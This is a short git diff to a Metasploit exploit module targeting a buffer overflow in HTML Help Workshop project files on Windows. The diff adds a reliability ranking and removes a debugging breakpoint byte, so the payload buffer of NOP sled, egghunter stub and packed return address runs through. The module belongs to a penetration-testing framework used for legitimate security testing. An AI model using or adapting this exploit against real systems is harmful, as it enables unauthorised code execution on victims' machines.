diff --git a/modules/exploits/windows/fileformat/html_help_workshop_hhp_bof.rb b/modules/exploits/windows/fileformat/html_help_workshop_hhp_bof.rb index 1f956c3735..78bdc16e02 100644 --- a/modules/exploits/windows/fileformat/html_help_workshop_hhp_bof.rb +++ b/modules/exploits/windows/fileformat/html_help_workshop_hhp_bof.rb @@ -8,7 +8,8 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - + Rank = GreatRanking + include Msf::Exploit::FILEFORMAT include Msf::Exploit::Egghunter @@ -64,8 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote off = target['Offset'] idxf = "" - idxf << make_nops(off - eh_stub.length - 1) - idxf << "\xcc" + idxf << make_nops(off - eh_stub.length) idxf << eh_stub idxf << [target.ret].pack('V')